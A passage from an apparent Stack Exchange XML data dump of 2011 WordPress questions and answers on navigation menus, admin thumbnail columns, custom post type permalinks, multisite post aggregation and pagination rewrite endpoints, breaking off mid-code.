  <row Id="9524" PostTypeId="2" ParentId="9488" CreationDate="2011-02-16T16:09:46.250" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Drake:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stupid question, I know, but have you &lt;em&gt;&quot;activated&quot;&lt;/em&gt; the plugin?  That's where I trip up when plugins are not being debugged.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-16T16:09:46.250" CommentCount="2" />
  <row Id="9525" PostTypeId="1" CreationDate="2011-02-16T16:31:55.263" Score="1" ViewCount="627" Body="&lt;p&gt;Does wordpress support the capability to use images in the navigation menus instead of text links? I searched for this capability and found a site that shows how to include images in the menu through css editing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://vanweerd.com/how-to-replace-text-links-with-icon-links-in-wp-3-navigation-menus/&quot; rel=&quot;nofollow&quot;&gt;http://vanweerd.com/how-to-replace-text-links-with-icon-links-in-wp-3-navigation-menus/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If wordpress does not support the ability to easily add an image in as a linkable object in the nav menu, is there a plugin that can do this? I would like to have the ability to add and remove images to a navigation menu without having to edit css.&lt;/p&gt;&#xA;" OwnerUserId="2019" LastEditorUserId="2019" LastEditorDisplayName="" LastEditDate="2011-02-16T16:44:53.100" LastActivityDate="2011-02-17T13:30:19.043" Title="Using Image Links in Wordpress Navigation Menus Instead Of Text Links" Tags="&lt;custom-menus&gt;&lt;menus&gt;&lt;navigation&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="9526" PostTypeId="1" CreationDate="2011-02-16T17:10:50.057" Score="0" ViewCount="208" Body="&lt;p&gt;I am trying to add a column in the edit post screen that shows any attached media.  I found this code to do it with tags, but don't know how to change it to do Media attachments instead.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//add media column to edit post screen&#xA;add_action('media_buttons_context','zg_post_buttons');&#xA;function add_tag_column($posts_columns) {&#xA;&#xA; // Add a new column&#xA;$posts_columns['att_tag'] = _x('Tags', 'column name');&#xA;return $posts_columns;&#xA;}&#xA;&#xA;function manage_attachment_tag_column($column_name, $id) {&#xA;switch($column_name) {&#xA;case 'att_tag':&#xA;$tagparent = &quot;upload.php?&quot;;&#xA;$tags = get_the_tags();&#xA;if ( !empty( $tags ) ) {&#xA;$out = array();&#xA;foreach ( $tags as $c )&#xA;$out[] = &quot;&amp;lt;a href='&quot;.$tagparent.&quot;tag=$c-&amp;gt;slug'&amp;gt; &quot; .   &#xA;esc_html(sanitize_term_field('name', $c-&amp;gt;name, $c-&amp;gt;term_id, 'post_tag', 'display')) .  &#xA;&quot;&amp;lt;/a&amp;gt;&quot;;&#xA;echo join( ', ', $out );&#xA;} else {&#xA;_e('No Tags');&#xA;}&#xA;break;&#xA;default:&#xA;break;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2567" LastActivityDate="2011-02-16T17:20:10.717" Title="Add media column to edit post screen" Tags="&lt;media&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="9527" PostTypeId="2" ParentId="9526" CreationDate="2011-02-16T17:20:10.717" Score="1" ViewCount="" Body="&lt;p&gt;you can create a column  of post_thumbnail like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// ADDING THUMBNAIL TO EDIT SCREEN&#xA;if ( !function_exists('fb_AddThumbColumn') &amp;amp;&amp;amp; function_exists('add_theme_support') ) {&#xA;&#xA;// for post and page&#xA;add_theme_support('post-thumbnails', array( 'post', 'page' ) );&#xA;&#xA;function fb_AddThumbColumn($cols) {&#xA;&#xA;$cols['thumbnail'] = __('Thumbnail');&#xA;&#xA;return $cols;&#xA;}&#xA;&#xA;function fb_AddThumbValue($column_name, $post_id) {&#xA;&#xA;$width = (int) 100;&#xA;$height = (int) 100;&#xA;&#xA;if ( 'thumbnail' == $column_name ) {&#xA;// thumbnail of WP 2.9&#xA;$thumbnail_id = get_post_meta( $post_id, '_thumbnail_id', true );&#xA;// image from gallery&#xA;$attachments = get_children( array('post_parent' =&amp;gt; $post_id, 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image') );&#xA;if ($thumbnail_id)&#xA;$thumb = wp_get_attachment_image( $thumbnail_id, array($width, $height), true );&#xA;elseif ($attachments) {&#xA;foreach ( $attachments as $attachment_id =&amp;gt; $attachment ) {&#xA;$thumb = wp_get_attachment_image( $attachment_id, array($width, $height), true );&#xA;}&#xA;}&#xA;if ( isset($thumb) &amp;amp;&amp;amp; $thumb ) {&#xA;echo $thumb;&#xA;} else {&#xA;echo __('None');&#xA;}&#xA;}&#xA;}&#xA;&#xA;// for posts&#xA;add_filter( 'manage_posts_columns', 'fb_AddThumbColumn' );&#xA;add_action( 'manage_posts_custom_column', 'fb_AddThumbValue', 10, 2 );&#xA;&#xA;// for pages&#xA;add_filter( 'manage_pages_columns', 'fb_AddThumbColumn' );&#xA;add_action( 'manage_pages_custom_column', 'fb_AddThumbValue', 10, 2 );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to add this column to custom post type just add your post type to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_support('post-thumbnails', array( 'post', 'page','mycustom' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and and action and filter hooks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'manage_mycustom_posts_columns', 'fb_AddThumbColumn' );&#xA;add_action( 'manage_mycustom_posts_custom_column', 'fb_AddThumbValue', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-16T17:20:10.717" CommentCount="1" />
  <row Id="9529" PostTypeId="2" ParentId="6663" CreationDate="2011-02-16T17:48:23.677" Score="0" ViewCount="" Body="&lt;p&gt;Can you enable the rewrite log and see what rules are getting matched? You'll need to do it in the .htaccess or the apache config directly. Keep in mind, this level of logging will slow down the site.. &lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2011-02-16T17:48:23.677" />
  <row Id="9530" PostTypeId="2" ParentId="9515" CreationDate="2011-02-16T17:50:34.017" Score="3" ViewCount="" Body="&lt;p&gt;When a post is created/edited from the admin, edit_post() is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function simply collects all the $_POST arguments and passes them to wp_update_post().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wp_update_post() then does some more logical checks and passes the data along to wp_insert_post(). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;wp_insert_post() calls sanitize_post(), which does all the heavy duty sanitization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, yes, wp_insert_post() &lt;em&gt;is&lt;/em&gt; the correct way to do it.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-16T17:50:34.017" CommentCount="4" />
  <row Id="9531" PostTypeId="1" AcceptedAnswerId="9550" CreationDate="2011-02-16T17:55:32.730" Score="2" ViewCount="351" Body="&lt;p&gt;I have a custom post type named Reportage, added in functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'create_post_type' );&#xA;function create_post_type() {&#xA;    register_post_type( 'reportage',&#xA;        array(&#xA;            'labels' =&amp;gt; array(&#xA;                'name' =&amp;gt; __( 'Reportage' ),&#xA;                'singular_name' =&amp;gt; __( 'Reportage' )&#xA;            ),&#xA;            'public' =&amp;gt; true,&#xA;            'taxonomies' =&amp;gt; array('category'),&#xA;            'query_var' =&amp;gt; true&#xA;        )&#xA;    );&#xA;&#xA;    register_taxonomy_for_object_type('category', 'reportage');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I want to use this custom url structure: &quot;/%posttype%/%category%/%postname%&quot;, but the permalinks gets generated as (and redirected to when visited) &quot;/%posttype%/%postname%&quot;. How do I change the permalinks structure to &quot;/%posttype%/%category%/%postname%&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to have &quot;/%posttype%&quot; to route to a regular page with the same name as the posttype (Reportage), this works fine now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also need to &quot;/%posttype%/%category%&quot; to route to something like the category.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make this work?&lt;/p&gt;&#xA;" OwnerUserId="3164" LastActivityDate="2011-08-31T02:13:46.750" Title="Get a permalink structure of /%posttype%/%category%/%postname%" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;permalinks&gt;&lt;seo&gt;&lt;urls&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="9532" PostTypeId="1" AcceptedAnswerId="9539" CreationDate="2011-02-16T17:56:46.537" Score="0" ViewCount="214" Body="&lt;p&gt;I have a Multisite Wordpress installation with 7 different blogs. I want to show an aggregate of the summaries of posts from those 7 blogs in the main blog. Do you know a good way to do this?&lt;/p&gt;&#xA;" OwnerUserId="2261" LastActivityDate="2011-02-16T19:07:53.903" Title="Aggregate Summaries of Posts of Different Blogs in Multisite Instance" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;excerpt&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="9533" PostTypeId="2" ParentId="9495" CreationDate="2011-02-16T17:57:44.773" Score="0" ViewCount="" Body="&lt;p&gt;To answer your question, no, I don't think there's a plugin for that, but whoever needs it most badly will end up writing it sooner or later. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a sort of related note, see the excellent Debug Bar plugin developed recently by the core team: &lt;a href=&quot;http://wordpress.org/extend/plugins/debug-bar/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/debug-bar/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-16T17:57:44.773" />
  <row Id="9534" PostTypeId="2" ParentId="9525" CreationDate="2011-02-16T17:57:56.753" Score="0" ViewCount="" Body="&lt;p&gt;I know of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/blogroll-links-favicons/&quot; rel=&quot;nofollow&quot;&gt;Blogroll Links Favicons&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-image-link/&quot; rel=&quot;nofollow&quot;&gt;BlogWell's Simple Image Link&#xA;Widget&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;maybe one of them will suite your needs.. take a look&lt;/p&gt;&#xA;" OwnerUserId="1535" LastActivityDate="2011-02-16T17:57:56.753" />
  <row Id="9535" PostTypeId="1" AcceptedAnswerId="9542" CreationDate="2011-02-16T18:10:46.103" Score="0" ViewCount="75" Body="&lt;p&gt;Right now the title of a post page on my blog reads like this... Blog Name &gt;&gt; Blog Archive &gt;&gt; Post Title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see the need for &quot;Blog Archive&quot; to be in there and would like to remove it. I've looked in single.php and style.css and I'm not seeing any reference to &quot;Blog Archive&quot; in there that I can remove.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eddie&lt;/p&gt;&#xA;" OwnerUserId="3225" LastActivityDate="2011-02-16T19:40:04.700" Title="Lose &quot;Blog Archive&quot; from page title" Tags="&lt;posts&gt;&lt;title&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="9536" PostTypeId="1" AcceptedAnswerId="9544" CreationDate="2011-02-16T18:17:00.947" Score="1" ViewCount="92" Body="&lt;p&gt;Basically here's my project:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to create a back-end wordpress gui user input section. The user will enter details about their projects like name, location, what it is, some other details. A page will display the top 9 recent or so in a 3x3 grid. There will be a search bar to search projects for related tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have currently:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;used functions.php to setup my post&#xA;type and it works  &lt;/li&gt;&#xA;&lt;li&gt;used simple forms plugin to create&#xA;forms on the add new page&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Background: I am a pretty entry level person in wordpress, and slightly overwhelmed right now. But, it's slowly coming together. Any input on structure or anything would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I have created the forms, but I need to know what to put in the single-projects.php to display the content from the forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much&lt;/p&gt;&#xA;" OwnerUserId="3226" LastEditorUserId="3226" LastEditorDisplayName="" LastEditDate="2011-02-17T19:15:30.633" LastActivityDate="2011-02-17T19:15:30.633" Title="I need basic help with custom post types" Tags="&lt;custom-post-types&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="9537" PostTypeId="1" AcceptedAnswerId="9547" CreationDate="2011-02-16T18:52:06.817" Score="0" ViewCount="295" Body="&lt;p&gt;I must be annoying your with all these permalink questions :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I'm using for the loop is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// hijack stupid WP globals to get pagination working...&#xA;global $wp_query;&#xA;$temp = $wp_query;&#xA;&#xA;$paged = get_query_var('paged') ? get_query_var('paged') : 1;&#xA;$wp_query = new WP_Query();&#xA;$wp_query-&amp;gt;query(array(&#xA;  'post_parent' =&amp;gt; get_the_ID(),&#xA;  'post_type' =&amp;gt; 'topic-reply',&#xA;  'posts_per_page' =&amp;gt; 10,&#xA;  'order' =&amp;gt; 'ASC',&#xA;  'paged' =&amp;gt; $paged,&#xA;));&#xA;if($wp_query):&#xA;  wp_pagenavi();&#xA;  while ($wp_query-&amp;gt;have_posts()):&#xA;    $wp_query-&amp;gt;the_post();&#xA;    get_template_part('topic-reply');&#xA;  endwhile;&#xA;  wp_pagenavi();&#xA;endif;&#xA;&#xA;$wp_query = $temp;&#xA;wp_reset_query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The pagination works fine if permalinks are set to defaults, when clicking on page 2 link the URL I get is like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://localhost/wp/?topic=sometopictitle&amp;amp;paged=2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem comes when I set the permalinks to a custom structure; when clicking on page 2, I get the first page URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://localhost/wp3/forum/general-discussion/topic/sometopictitle/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instead of&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://localhost/wp3/forum/general-discussion/topic/sometopictitle/page/2/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(A live example &lt;a href=&quot;http://dev.digitalnature.ro/wp99420/forum1/general-discussion/topic/first-topic/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;here&lt;/code&gt;&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know the rules I should add to set paged permalinks for the &quot;topic-reply&quot; post type?&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-02-16T22:28:55.460" Title="Pretty paged permalinks in custom post type loop" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;&lt;pagination&gt;" AnswerCount="1" />
  <row Id="9538" PostTypeId="1" AcceptedAnswerId="9541" CreationDate="2011-02-16T18:58:28.523" Score="1" ViewCount="165" Body="&lt;p&gt;This is a continuation of &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7107/how-to-filter-custom-posts-by-tags-and-custom-fields&quot;&gt;this post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've built my form and managed to get the correct taxonomy terms listed as a dropdown, but I'm wondering what action I should be using in my form and how I can recall the options selected in the same form on the results page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I've written so far which sets query_posts() so that it fetches the custom posts 'ftevent' that have the taxonomy terms 'type', 'period' and 'duration' set to something the user chooses:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pastie.org/1571715&quot; rel=&quot;nofollow&quot;&gt;Pastie link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is the function osu_list_terms() that you'll see in that code which tries to recall the options selected in each dropdown:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function osu_list_terms($osu_tax, $osu_recall) {&#xA;    // list terms in fttype taxonomy&#xA;    $taxonomy = $osu_tax;&#xA;    $tax_terms = get_terms($taxonomy);&#xA;    foreach ($tax_terms as $tax_term) {&#xA;        echo '&amp;lt;option' . $osu_recall . '&amp;gt;' . $tax_term-&amp;gt;name . '&amp;lt;/option&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, this is a work in progress, so I'm sure there are a few other problems I'll come up against (such as ordering the custom posts by the custom field 'StartEventDate'), but at this point, I'm trying to work out how Wordpress works with something like this form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm used to using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $_SERVER['PHP_SELF']; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for forms so that the form submits to the same page. I was hoping I could do the same with this, but Wordpress redirects to a URL like this and uses the archive.php template instead of the current page template I've inserted this form into:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/?fttype=Group+walks&amp;amp;ftperiod=Weekday&amp;amp;ftduration=Half-day&amp;amp;showfilter=true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a 'correct' way to do this? I'm a little confused as to how I can style a template for the search results as well as the results are displayed using the archive page (which is also used by tag-cloud results).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips you can offer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;osu&lt;/p&gt;&#xA;" OwnerUserId="2685" LastActivityDate="2011-02-16T19:13:17.683" Title="Correct way to use a form to to filter custom posts by taxonomy terms?" Tags="&lt;custom-post-types&gt;&lt;3.0&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="9539" PostTypeId="2" ParentId="9532" CreationDate="2011-02-16T19:07:53.903" Score="1" ViewCount="" Body="&lt;p&gt;A couple of plugins, depending what you wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-sitewide-tags/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-mu-sitewide-tags/&lt;/a&gt; &#xA;Despite the name, it pulls in all posts to the main blog or a blog called 'tags'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/diamond-multisite-widgets/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/diamond-multisite-widgets/&lt;/a&gt;&#xA;Give a list of the latest posts network-wide, all in a handy widget.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-02-16T19:07:53.903" />
  <row Id="9540" PostTypeId="1" CreationDate="2011-02-13T18:47:58.890" Score="0" ViewCount="31" Body="&lt;p&gt;I am trying to recover some code I had several months ago (I have backups of everything). It was part of a text widget in my WordPress sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have the full backup, where can I find that code? I can't seem to find that folder.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2011-02-16T19:11:57.960" Title="FTP Widget Location" Tags="&lt;feedburner&gt;" CommentCount="2" />
  <row Id="9541" PostTypeId="2" ParentId="9538" CreationDate="2011-02-16T19:13:17.683" Score="1" ViewCount="" Body="&lt;p&gt;If you leave the &lt;code&gt;action&lt;/code&gt; attribute empty, the form will post back to the current URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;However&lt;/em&gt;, if your &lt;code&gt;method&lt;/code&gt; attribute is &lt;code&gt;get&lt;/code&gt;, the form will post back to current URL, &lt;strong&gt;minus the current query string&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to keep the current query string, you can use hidden inputs to replicate the current parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mc2design.com/blog/php_self-safe-alternatives&quot; rel=&quot;nofollow&quot;&gt;And &lt;strong&gt;never&lt;/strong&gt; trust PHP_SELF&lt;/a&gt;!&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-02-16T19:13:17.683" CommentCount="1" />
  <row Id="9542" PostTypeId="2" ParentId="9535" CreationDate="2011-02-16T19:40:04.700" Score="1" ViewCount="" Body="&lt;p&gt;I just realized that you're talking about the browser &quot;title&quot; at the top; that wasn't clear from your original post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go into your &lt;code&gt;header.php&lt;/code&gt; and at the top look for this line &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;title&amp;gt;&amp;lt;?php bloginfo('name'); ?&amp;gt; &amp;lt;?php if ( is_single() ) { ?&amp;gt; &amp;amp;raquo; Blog Archive &amp;lt;?php } ?&amp;gt; &amp;lt;?php wp_title(); ?&amp;gt; - &amp;lt;?php bloginfo('description'); ?&amp;gt; &amp;lt;/title&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and remove &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php if ( is_single() ) { ?&amp;gt; &amp;amp;raquo; Blog Archive &amp;lt;?php } ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2011-02-16T19:40:04.700" CommentCount="2" />
  <row Id="9543" PostTypeId="2" ParentId="9346" CreationDate="2011-02-16T20:22:09.560" Score="0" ViewCount="" Body="&lt;p&gt;I did something similar. This article showed me the way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://shibashake.com/wordpress-theme/add-custom-taxonomy-tags-to-your-wordpress-permalinks&quot; rel=&quot;nofollow&quot;&gt;http://shibashake.com/wordpress-theme/add-custom-taxonomy-tags-to-your-wordpress-permalinks&lt;/a&gt; &lt;/p&gt;&#xA;" LastActivityDate="2011-02-16T20:22:09.560" CommentCount="1" />
  <row Id="9544" PostTypeId="2" ParentId="9536" CreationDate="2011-02-16T20:32:22.863" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@jeff:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This list of plugins should give you what you need:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://files.meetup.com/1280797/custom-post-types-for-wordpress-atlwp-2010-10-24.html#links&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Custom Post Type Plugins&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;UPDATE&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Try this plugin as it lets you set up fields for the user to enter into:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-fields/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Simple Fields&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-17T17:45:58.723" LastActivityDate="2011-02-17T17:45:58.723" CommentCount="7" />
  <row Id="9545" PostTypeId="1" AcceptedAnswerId="9553" CreationDate="2011-02-16T20:34:58.257" Score="3" ViewCount="202" Body="&lt;p&gt;This question is mainly to get some clarification on best practice for setting up a WordPress Multi-Site.  As I have not done this before.  I have outlined the scenario below.  All help is greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two Sites with very similar front-ends and an almost identical press section that is managed by WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site One : US Version of the site built in WordPress templates files. Press section managed from WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site Two: UK Version of the site, some pages eliminated and a portion of the press from the US site will be the same on the UK site.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see this being the correct application for WordPress Multisite.  I see this running with 2 domains (site.com, site.co.uk) and running all the press clips off of one DB in Multisite with denoting a checkbox or category to apply the US clips to the UK site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know what would be the best approach for this and if the overall consensus is that this is the proper fit for WP Multi Site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JN&lt;/p&gt;&#xA;" OwnerUserId="874" LastActivityDate="2011-02-17T02:24:51.593" Title="WordPress Multi Site Best Practice" Tags="&lt;3.0&gt;&lt;multisite&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="9546" PostTypeId="1" CreationDate="2011-02-16T20:45:19.597" Score="1" ViewCount="154" Body="&lt;p&gt;Hey there, I'm using the wpp (&lt;a href=&quot;http://www.wordpress.org/extend/plugins/wordpress-popular-posts&quot; rel=&quot;nofollow&quot;&gt;http://www.wordpress.org/extend/plugins/wordpress-popular-posts&lt;/a&gt;) plugin's shortcode to return post titles only, not excerpts, and the titles are showing up with apostrophes as &lt;code&gt;&amp;amp;#039;&lt;/code&gt; instead of as an apostrophe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like this was an issue for others in the past based on old posts found on wordpress.org and the solution was just to upgrade. My post there has gone unanswered and I'm using the most current version of the plugin as of this writing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried playing with the plugin's charset settings with no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any chance someone else could take a look at this? I've tried Rarst's suggestion to no avail, the plugin dev is MIA and I'm totally stumped. =/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, if someone else knows of a similar plugin that has that same functionality (and integrates with &lt;a href=&quot;http://lesterchan.net/portfolio/programming/php/#wp-postratings&quot; rel=&quot;nofollow&quot;&gt;WP-PostRatings&lt;/a&gt;.) I would be open to using another plugin.&lt;/p&gt;&#xA;" OwnerUserId="2881" LastEditorUserId="2881" LastEditorDisplayName="" LastEditDate="2011-03-01T05:49:29.220" LastActivityDate="2011-08-29T17:36:30.890" Title="WordPress Popular Posts plugin returning special chars as html code" Tags="&lt;plugins&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="9547" PostTypeId="2" ParentId="9537" CreationDate="2011-02-16T20:55:11.647" Score="1" ViewCount="" Body="&lt;p&gt;When you use &lt;code&gt;paged&lt;/code&gt; on a single post, it's checking for a paginated post, not pages of posts. Because your topics don't have paginated content, it's assuming it's a mistake and redirecting to the 'first' page of the topic, long before your custom loop is ever touched. So, in this instance, &lt;code&gt;paged&lt;/code&gt; is always going to return as 1. As a workaround, I'd register an EP Permalink for the topic. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_rewrite_endpoint( 'tpage', EP_PERMALINK );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, instead of checking for &lt;code&gt;get_query_var( 'paged' );&lt;/code&gt;, check for &lt;code&gt;get_query_var( 'tpage' );&lt;/code&gt; and pass the value for that along to the custom query. Setting up that rewrite endpoint means that all permalinks compatible with the &lt;code&gt;EP_PERMALINK&lt;/code&gt; bitmask (your topics are compatible) will accept a &lt;code&gt;/tpage/XXXX&lt;/code&gt; structure added to the end of the url, where XXXXX can be anything you want (in this instance, you'd want to typecast it as an integer, probably an absolute one at that).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Something like this should work to get you an array of paginated links:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$links = paginate_links(array(&#xA;  'base' =&amp;gt; trailingslashit( get_permalink( $temp-&amp;gt;post-&amp;gt;ID ) ) . '%_%',&#xA;  'format' =&amp;gt; 'tpage/%#%',&#xA;  'type' =&amp;gt; 'array'&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From there, you could do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;page-navi  clear-block&quot;&amp;gt;&#xA;  &amp;lt;?php foreach( $links as $link ){&#xA;    if( false !== strpos( $link, &quot; class='page-numbers'&quot; ) )&#xA;      $link = str_replace( &quot; class='page-numbers'&quot;, &quot; class='page page-numbers'&quot;, $link );&#xA;    echo $link;&#xA;  } 